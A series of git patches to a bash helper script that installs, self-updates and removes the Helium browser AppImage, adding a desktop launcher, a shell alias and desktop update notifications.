$TMP/helium.desktop.template sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template - mkdir -p $LAUNCHER_PATH $BACKUP_PATH $CONFIG_PATH/icon + mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon From 1c7c7163d0e0beb9ede5a75ecf2b678c7367bc1e Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 13:55:36 +0100 Subject: [PATCH 022/106] Minor changes --- helium_helper.sh | 1 - 1 file changed, 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 083f0b7..d3c8d2b 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -123,7 +123,6 @@ add_launcher() { while true ; do echo read -p " Add $APP_NAME_LONG launcher to $LAUNCHER_PATH? (Y/n) : " CONFIRM_LAUNCHER - echo if [[ "$CONFIRM_LAUNCHER" == "" || "$CONFIRM_LAUNCHER" == "y" || "$CONFIRM_LAUNCHER" == "Y" ]] ; then LAUNCHER_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/launcher/helium.desktop.template From 234df445f861140aba4cd9bdfa1baee26a85c3e0 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 13:59:53 +0100 Subject: [PATCH 023/106] Minor changes --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index d3c8d2b..0cf37f7 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -141,7 +141,7 @@ add_launcher() { sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template - mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon + mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon >/dev/null mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon From 238e02e8aa9db5b3b4888d9b7d2c23148d06ab5a Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 14:02:56 +0100 Subject: [PATCH 024/106] Minor changes --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 0cf37f7..b479e6f 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -141,7 +141,7 @@ add_launcher() { sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template - mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon >/dev/null + mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon >/dev/null 2>&1 mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon From d962b1b1f0ac74ed572c4b6c67fdf23a3fbd632a Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 14:07:28 +0100 Subject: [PATCH 025/106] Minor changes --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index b479e6f..d3c8d2b 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -141,7 +141,7 @@ add_launcher() { sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template - mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon >/dev/null 2>&1 + mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon From 932856401c8d447f7ede22b77ecbfe06124825ae Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 14:19:07 +0100 Subject: [PATCH 026/106] add alias fixed --- helium_helper.sh | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index d3c8d2b..74ec2e8 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -168,7 +168,9 @@ add_launcher() { } ### ALIAS -add_alias() { ### WORKS BUT NEEDS WORK +add_alias() { ### WORKS BUT NEEDS WORK --> CHECK SCRIPT PRESENCE FIRST + update_script + if [ -f "$HOME/.zshrc" ] ; then echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc" From 3bc94234cf382a2cec3bb532da21ee9fa9101e72 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 14:27:44 +0100 Subject: [PATCH 027/106] add launcher fixed --- helium_helper.sh | 7 +++---- 1 file changed, 3 insertions(+), 4 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 74ec2e8..beee6d5 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -129,10 +129,11 @@ add_launcher() { ICON_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/icon/helium.png AUTO_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$AUTO_SCRIPT_FILE_NAME LOCAL_VERSION=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}') + mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon if ! [ -f "$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME" ] ; then wget -P $TMP $AUTO_SCRIPT_URL -q --show-progress chmod +x $TMP/$AUTO_SCRIPT_FILE_NAME - + mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH fi wget -P $TMP $LAUNCHER_URL -q --show-progress @@ -141,8 +142,6 @@ add_launcher() { sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template - mkdir -p $LAUNCHER_PATH $SCRIPT_PATH $BACKUP_PATH $CONFIG_PATH/icon - mv $TMP/$AUTO_SCRIPT_FILE_NAME $SCRIPT_PATH mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" @@ -170,7 +169,7 @@ add_launcher() { ### ALIAS add_alias() { ### WORKS BUT NEEDS WORK --> CHECK SCRIPT PRESENCE FIRST update_script - + if [ -f "$HOME/.zshrc" ] ; then echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc" From 0eec37352abefd90185d6e36fca1b622be738405 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Wed, 24 Dec 2025 14:41:06 +0100 Subject: [PATCH 028/106] add alias fixed --- helium_helper.sh | 9 +++++++-- 1 file changed, 7 insertions(+), 2 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index beee6d5..a48ec40 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -168,8 +168,13 @@ add_launcher() { ### ALIAS add_alias() { ### WORKS BUT NEEDS WORK --> CHECK SCRIPT PRESENCE FIRST - update_script - + if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then + mkdir -p $SCRIPT_PATH + wget -P $TMP $SCRIPT_URL -q + chmod +x $TMP/$SCRIPT_FILE_NAME + mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH + fi + if [ -f "$HOME/.zshrc" ] ; then echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc" From 5a0913a29a5899f4fa912c669e61bf1e17664f73 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 21:56:44 +0100 Subject: [PATCH 029/106] update --- helium_helper.sh | 4 ++-- todo.md | 4 +++- 2 files changed, 5 insertions(+), 3 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index a48ec40..494b272 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -167,7 +167,7 @@ add_launcher() { } ### ALIAS -add_alias() { ### WORKS BUT NEEDS WORK --> CHECK SCRIPT PRESENCE FIRST +add_alias() { ### WORKS BUT NEEDS WORK if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then mkdir -p $SCRIPT_PATH wget -P $TMP $SCRIPT_URL -q @@ -184,7 +184,7 @@ add_alias() { ### WORKS BUT NEEDS WORK --> CHECK SCRIPT PRESENCE FIRST echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc" else - echo -e "\n ${RED}No .bashrc like file found!${CRS}" + echo -e "\n ${RED}No .shellrc file found!${CRS}" fi } diff --git a/todo.md b/todo.md index 5793dba..fd46dc7 100644 --- a/todo.md +++ b/todo.md @@ -11,13 +11,15 @@ ## Add - Internet connectivity check in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) - Auto update setup - - shell recognition + - shell recognition missing - Architecture detection - Set alias --> Partially + - shell recognition missing - Roll back from backup - Config check - Desktop notifications in [Auto Update Script](https://lab.c95.org/fr4nz/helium-helper/src/branch/main/helium_auto_update.sh) - Log viewer & config editor +- Add alias remover to remover function ## Repo - Merge workflow From a0ac02743abad43e756b3604aca38bc78c56452f Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 22:10:11 +0100 Subject: [PATCH 030/106] Alias refined --- helium_helper.sh | 10 +++++++++- 1 file changed, 9 insertions(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 494b272..2179147 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -81,7 +81,7 @@ local_check() { ### INSTALL install_helium() { if [ -f "$INSTALL_PATH/$APP_NAME.AppImage" ] ; then - echo -e "\n ${CYN}$APP_NAME_LONG AppImage found! Trying to update...${CRS}" + echo -e "\n ${YEL}$APP_NAME_LONG AppImage found! Trying to update...${CRS}" update_helium exit @@ -176,10 +176,18 @@ add_alias() { ### WORKS BUT NEEDS WORK fi if [ -f "$HOME/.zshrc" ] ; then + if [ "$(cat $HOME/.zshrc | grep "$ALIAS")" ] ; then + echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.zshrc" + exit + fi echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.zshrc" elif [ -f "$HOME/.bashrc" ] ; then + if [ "$(cat $HOME/.bashrc | grep "$ALIAS")" ] ; then + echo -e "\n ${LCY}$ALIAS ${GRN}already present in${CRS} $HOME/.bashrc" + exit + fi echo "alias $ALIAS=\"$SCRIPT_PATH/$SCRIPT_FILE_NAME\"" >> $HOME/.zshrc echo -e "\n ${LCY}$ALIAS ${GRN}added to${CRS} $HOME/.bashrc" From 70a5db2ba28a9a8abb11a0b0ce15164527d26b40 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 22:12:20 +0100 Subject: [PATCH 031/106] -U option removed --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index 2179147..d04069d 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -470,7 +470,7 @@ help() { echo -e "\t-l\tCreate desktop launcher" echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Partially working with zsh & bash${CRS}" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $SOURCE" - echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" + #echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" echo -e "\t-c\tCompare local to remote version" echo -e "\t-s\tShow script version" From 5e26f8e43bbb3e48edc9113a5012c05ae2eebd7b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 22:14:42 +0100 Subject: [PATCH 032/106] Version bumped --- helium_helper.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/helium_helper.sh b/helium_helper.sh index d04069d..8ee7ab7 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -20,7 +20,7 @@ SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.4" +SCRIPT_VERSION="0.5.5" ALIAS="update-helium" ## LOCATIONS From 4a6741f581df497d8ad539cd18e09174caa97e1b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 22:34:10 +0100 Subject: [PATCH 033/106] Alias remover added --- helium_helper.sh | 10 ++++++++++ 1 file changed, 10 insertions(+) diff --git a/helium_helper.sh b/helium_helper.sh index 8ee7ab7..12bfacf 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -290,7 +290,17 @@ remove_helium() { rm -rf $INSTALL_PATH if [ -f "$LAUNCHER_PATH/$APP_NAME.desktop" ] ; then rm $LAUNCHER_PATH/$APP_NAME.desktop + fi + + if [ -f "$HOME/.zshrc" ] ; then + sed -i "s|$ALIAS|d|" $HOME/.zshrc + + elif [ -f "$HOME/.bashrc" ] ; then + sed -i "s|$ALIAS|d|" $HOME/.bashrc + + fi + echo -e "\n ${RED}$APP_NAME_LONG removed!${CRS}" exit From 5ad81a5997751fdba4b466e3485060c2f4f589fb Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 23:34:50 +0100 Subject: [PATCH 034/106] Desktop notifications added --- helium_auto_update.sh | 30 +++++++++++++++++++++--------- 1 file changed, 21 insertions(+), 9 deletions(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index a8cb79c..123c274 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -86,6 +86,8 @@ update_script() { ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo "${DATE} | Failed to update script - local file not found" >> $LOG + notify-send "Helium Helper" "Script update failed! See log for details" + exit fi @@ -94,9 +96,13 @@ update_script() { ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then echo "${DATE} | Failed to update script - Empty version tag --> local" >> $LOG + notify-send "Helium Helper" "Script update failed! See log for details" + exit elif [ -z "$REMOTE_SCRIPT_VERSION" ] ; then echo "${DATE} | Failed to update script - Empty version tag --> $SOURCE" >> $LOG + notify-send "Helium Helper" "Script update failed! See log for details" + exit fi @@ -105,16 +111,18 @@ update_script() { REMOTE_SCRIPT_VERSION_NUM=$(echo $REMOTE_SCRIPT_VERSION | tr -d .) if [ "$REMOTE_SCRIPT_VERSION" == "$SCRIPT_VERSION" ] ; then - : + notify-send "Helium Helper" "Script is up-to-date" elif [ "$REMOTE_SCRIPT_VERSION_NUM" -gt "$SCRIPT_VERSION_NUM" ] ; then mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH echo "${DATE} | Script updated" >> $LOG + notify-send "Helium Helper" "Script updated" else echo "${DATE} | Failed to update - Malformed version tags" >> $LOG - + notify-send "Helium Helper" "Script update failed! See log for details" + fi } @@ -128,10 +136,12 @@ update_helium() { ### CHECK FOR EMPTY VERSION TAGS if [[ -z "$GIT_VERSION" ]] ; then echo "${DATE} | Failed to update - Empty version tag --> $SOURCE" >> $LOG + notify-send "Helium Helper" "Browser update failed! See log for details" exit elif [[ -z "$LOCAL_VERSION" ]] ; then echo "${DATE} | Failed to update - Empty version tag --> LOCAL" >> $LOG + notify-send "Helium Helper" "Browser update failed! See log for details" exit fi @@ -141,7 +151,7 @@ update_helium() { GIT_VERSION_NUM=$(echo $GIT_VERSION | tr -d .) if [ "$GIT_VERSION" == "$LOCAL_VERSION" ] ; then - : + notify-send "Helium Helper" "Browser is up-to-date" elif [ "$GIT_VERSION_NUM" -gt "$LOCAL_VERSION_NUM" ] ; then GIT_URL=$(curl -s https://api.github.com/repos/imputnet/helium-linux/releases/latest | grep "browser_download_url" | grep "x86_64.AppImage" | grep -v "zsync" | tr -d \" | awk '{print $2}') @@ -157,9 +167,11 @@ update_helium() { cp $LAUNCHER_PATH/$APP_NAME.desktop $BACKUP_PATH/$APP_NAME.desktop.old sed -i "s|X-AppImage-Version=.*|X-AppImage-Version=$($INSTALL_PATH/$APP_NAME.AppImage --version | awk '{print $2}')|" $LAUNCHER_PATH/$APP_NAME.desktop echo "${DATE} | $APP_NAME updated to ${GIT_VERSION}" >> $LOG + notify-send "Helium Helper" "Browser updated to $GIT_VERSION" else echo "${DATE} | Failed to update - Version tags malformed" >> $LOG + notify-send "Helium Helper" "Browser update failed! See log for details" exit fi @@ -204,22 +216,22 @@ exit_clean() { while getopts ":a,:s,:h" OPTION ; do case $OPTION in - a) - add_alias - exit ;; + S) + update_script + exit_clean ;; s) script_version - exit ;; + exit_clean ;; h) help - exit ;; + exit_clean ;; *) echo -e "\n${YEL}Option ${RED}$1${YEL} not recognized... Refer to help below!${CRS}" help - exit ;; + exit_clean ;; esac From a03f59d3ee3c6d528d56c8c3220ee5e145999e6b Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 23:46:17 +0100 Subject: [PATCH 035/106] Launcher option added --- assets/launcher/helium.desktop.template | 6 +++++- helium_auto_update.sh | 9 ++++----- helium_helper.sh | 3 ++- 3 files changed, 11 insertions(+), 7 deletions(-) diff --git a/assets/launcher/helium.desktop.template b/assets/launcher/helium.desktop.template index 7334765..a1e02ac 100644 --- a/assets/launcher/helium.desktop.template +++ b/assets/launcher/helium.desktop.template @@ -24,4 +24,8 @@ Exec=%APP_LOCATION% --incognito [Desktop Action update] Name=Update Helium -Exec=%AUTO_UPDATE_SCRIPT% \ No newline at end of file +Exec=%QUIET_UPDATE_SCRIPT% + +[Desktop Action update-script] +Name=Update Helium Helper +Exec=%QUIET_UPDATE_SCRIPT -S% \ No newline at end of file diff --git a/helium_auto_update.sh b/helium_auto_update.sh index 123c274..b204675 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -9,9 +9,9 @@ set -e APP_NAME="Helium" APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" -SCRIPT_NAME="$APP_NAME silent updater" +SCRIPT_NAME="$APP_NAME quiet updater" SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.4" +SCRIPT_VERSION="0.5.5" ALIAS="auto-update-helium" ## LOCATIONS @@ -180,8 +180,7 @@ update_helium() { ### SCRIPT VERSION script_version() { - echo -e "\n ${CYN}$APP_NAME_LONG Helper Script Version :${CRS} $SCRIPT_VERSION\n" - exit + echo -e "\n ${CYN}$APP_NAME_LONG Auto Update Script Version :${CRS} $SCRIPT_VERSION\n" } @@ -213,7 +212,7 @@ exit_clean() { ########## MAIN ########## ## GET OPTIONS -while getopts ":a,:s,:h" OPTION ; do +while getopts ":a,:s,:S,:h" OPTION ; do case $OPTION in S) diff --git a/helium_helper.sh b/helium_helper.sh index 12bfacf..964c2da 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -141,7 +141,8 @@ add_launcher() { sed -i "s|%APP_LOCATION%|$INSTALL_PATH/$APP_NAME.AppImage|" $TMP/helium.desktop.template sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template - sed -i "s|%AUTO_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template + sed -i "s|%QUIET_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template + sed -i "s|%QUIET_UPDATE_SCRIPT -S%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -S|" $TMP/helium.desktop.template mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" From e394371b2c6c0de2fb4c8b5c5ebbdbadd0f28e01 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Fri, 26 Dec 2025 23:52:12 +0100 Subject: [PATCH 036/106] update --- assets/launcher/helium.desktop.template | 2 +- helium_helper.sh | 1 + 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/assets/launcher/helium.desktop.template b/assets/launcher/helium.desktop.template index a1e02ac..b86692f 100644 --- a/assets/launcher/helium.desktop.template +++ b/assets/launcher/helium.desktop.template @@ -11,7 +11,7 @@ Icon=%ICON_LOCATION% Type=Application Categories=Network;WebBrowser; MimeType=application/pdf;application/rdf+xml;application/rss+xml;application/xhtml+xml;application/xhtml_xml;application/xml;image/gif;image/jpeg;image/png;image/webp;text/html;text/xml;x-scheme-handler/http;x-scheme-handler/https; -Actions=new-window;new-private-window;update; +Actions=new-window;new-private-window;update;update-script; X-AppImage-Version=%APP_VERSION% [Desktop Action new-window] diff --git a/helium_helper.sh b/helium_helper.sh index 964c2da..483f11a 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -123,6 +123,7 @@ add_launcher() { while true ; do echo read -p " Add $APP_NAME_LONG launcher to $LAUNCHER_PATH? (Y/n) : " CONFIRM_LAUNCHER + echo if [[ "$CONFIRM_LAUNCHER" == "" || "$CONFIRM_LAUNCHER" == "y" || "$CONFIRM_LAUNCHER" == "Y" ]] ; then LAUNCHER_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/assets/launcher/helium.desktop.template From 69378db024802e090266d23f949b0e50a8f98cd1 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 00:01:25 +0100 Subject: [PATCH 037/106] update --- assets/launcher/helium.desktop.template | 2 +- helium_helper.sh | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/assets/launcher/helium.desktop.template b/assets/launcher/helium.desktop.template index b86692f..c3865fa 100644 --- a/assets/launcher/helium.desktop.template +++ b/assets/launcher/helium.desktop.template @@ -28,4 +28,4 @@ Exec=%QUIET_UPDATE_SCRIPT% [Desktop Action update-script] Name=Update Helium Helper -Exec=%QUIET_UPDATE_SCRIPT -S% \ No newline at end of file +Exec=%SCRIPT_UPDATE% \ No newline at end of file diff --git a/helium_helper.sh b/helium_helper.sh index 483f11a..2f892e5 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -143,7 +143,7 @@ add_launcher() { sed -i "s|%ICON_LOCATION%|$CONFIG_PATH/icon/helium.png|" $TMP/helium.desktop.template sed -i "s|%APP_VERSION%|$LOCAL_VERSION|" $TMP/helium.desktop.template sed -i "s|%QUIET_UPDATE_SCRIPT%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME|" $TMP/helium.desktop.template - sed -i "s|%QUIET_UPDATE_SCRIPT -S%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -S|" $TMP/helium.desktop.template + sed -i "s|%SCRIPT_UPDATE%|$SCRIPT_PATH/$AUTO_SCRIPT_FILE_NAME -S|" $TMP/helium.desktop.template mv $TMP/helium.desktop.template $LAUNCHER_PATH/$APP_NAME.desktop mv $TMP/helium.png $CONFIG_PATH/icon echo -e "\n ${GRN}$APP_NAME_LONG launcher is set up!${CRS}" From 2f8d7b8246cb02a9221a6d123027420f38e3efb2 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 10:50:45 +0100 Subject: [PATCH 038/106] Remote script check simplified --- helium_helper.sh | 22 +++++++++------------- 1 file changed, 9 insertions(+), 13 deletions(-) diff --git a/helium_helper.sh b/helium_helper.sh index 2f892e5..e9ff09d 100755 --- a/helium_helper.sh +++ b/helium_helper.sh @@ -20,7 +20,7 @@ SOURCE="GitHub" SCRIPT_NAME="$APP_NAME Helper Script" SCRIPT_FILE_NAME="helium_helper.sh" AUTO_SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.5" +SCRIPT_VERSION="0.5.6" ALIAS="update-helium" ## LOCATIONS @@ -332,16 +332,7 @@ script_version() { } ### UPDATE SCRIPT -remote_script_check() { - REMOTE_SCRIPT_URL=https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME - mkdir -p $TMP - wget -P $TMP $REMOTE_SCRIPT_URL -q - chmod +x $TMP/$SCRIPT_FILE_NAME -} - update_script() { - remote_script_check - ### CHECK FOR LOCAL SCRIPT if ! [ -f "$SCRIPT_PATH/$SCRIPT_FILE_NAME" ] ; then echo -e "\n ${YEL}$SCRIPT_FILE_NAME not found...${CRS}" @@ -354,7 +345,9 @@ update_script() { if ! [ -d "$SCRIPT_PATH" ] ; then mkdir -p $SCRIPT_PATH fi - + mkdir -p $TMP + wget -P $TMP $REMOTE_SCRIPT_URL -q + chmod +x $TMP/$SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH echo -e "\n ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" exit_clean @@ -372,7 +365,7 @@ update_script() { fi - REMOTE_SCRIPT_VERSION=$($TMP/$SCRIPT_FILE_NAME -s | awk '{print $8}' | tr -d '\n' ) + REMOTE_SCRIPT_VERSION=$(curl -s https://lab.c95.org/fr4nz/helium-helper/raw/branch/main/$SCRIPT_FILE_NAME | grep -m 1 "SCRIPT_VERSION" | tr -d 'SCRIPT_VERSION="') ### CHECK FOR EMPTY VERSION TAGS if [ -z "$SCRIPT_VERSION" ] ; then @@ -406,6 +399,9 @@ update_script() { mkdir -p $BACKUP_PATH fi mv $SCRIPT_PATH/$SCRIPT_FILE_NAME $BACKUP_PATH/$SCRIPT_FILE_NAME.old + mkdir -p $TMP + wget -P $TMP $REMOTE_SCRIPT_URL -q + chmod +x $TMP/$SCRIPT_FILE_NAME mv $TMP/$SCRIPT_FILE_NAME $SCRIPT_PATH echo -e " ${GRN}$SCRIPT_FILE_NAME is up-to-date!${CRS}" break @@ -480,7 +476,7 @@ help() { echo -e "Options:\n" echo -e "\t-i\tDownload & install $APP_NAME_LONG from $SOURCE" echo -e "\t-l\tCreate desktop launcher" - echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Partially working with zsh & bash${CRS}" + echo -e "\t-a\tCreate alias for $SCRIPT_FILE_NAME ${YEL}--> Working with zsh & bash${CRS}" echo -e "\t-u\tDownload & update $APP_NAME_LONG from $SOURCE" #echo -e "\t-U\tEnable automatic updates on login ${RED}--> Not yet working${CRS}" echo -e "\t-r\tRemove $APP_NAME_LONG" From 6dccf9c1e445fed849f1167fd1ee176a04f09431 Mon Sep 17 00:00:00 2001 From: Fr4nz D13trich Date: Sat, 27 Dec 2025 10:51:11 +0100 Subject: [PATCH 039/106] Remote script check simplified; Icon added to desktop notification --- helium_auto_update.sh | 44 +++++++++++++++++++------------------------ 1 file changed, 19 insertions(+), 25 deletions(-) diff --git a/helium_auto_update.sh b/helium_auto_update.sh index b204675..11837ed 100755 --- a/helium_auto_update.sh +++ b/helium_auto_update.sh @@ -11,7 +11,7 @@ APP_NAME_LONG="Helium Web Browser" SOURCE="GitHub" SCRIPT_NAME="$APP_NAME quiet updater" SCRIPT_FILE_NAME="helium_auto_update.sh" -SCRIPT_VERSION="0.5.5" +SCRIPT_VERSION="0.5.6" ALIAS="auto-update-helium" ## LOCATIONS @@ -22,6 +22,7 @@ 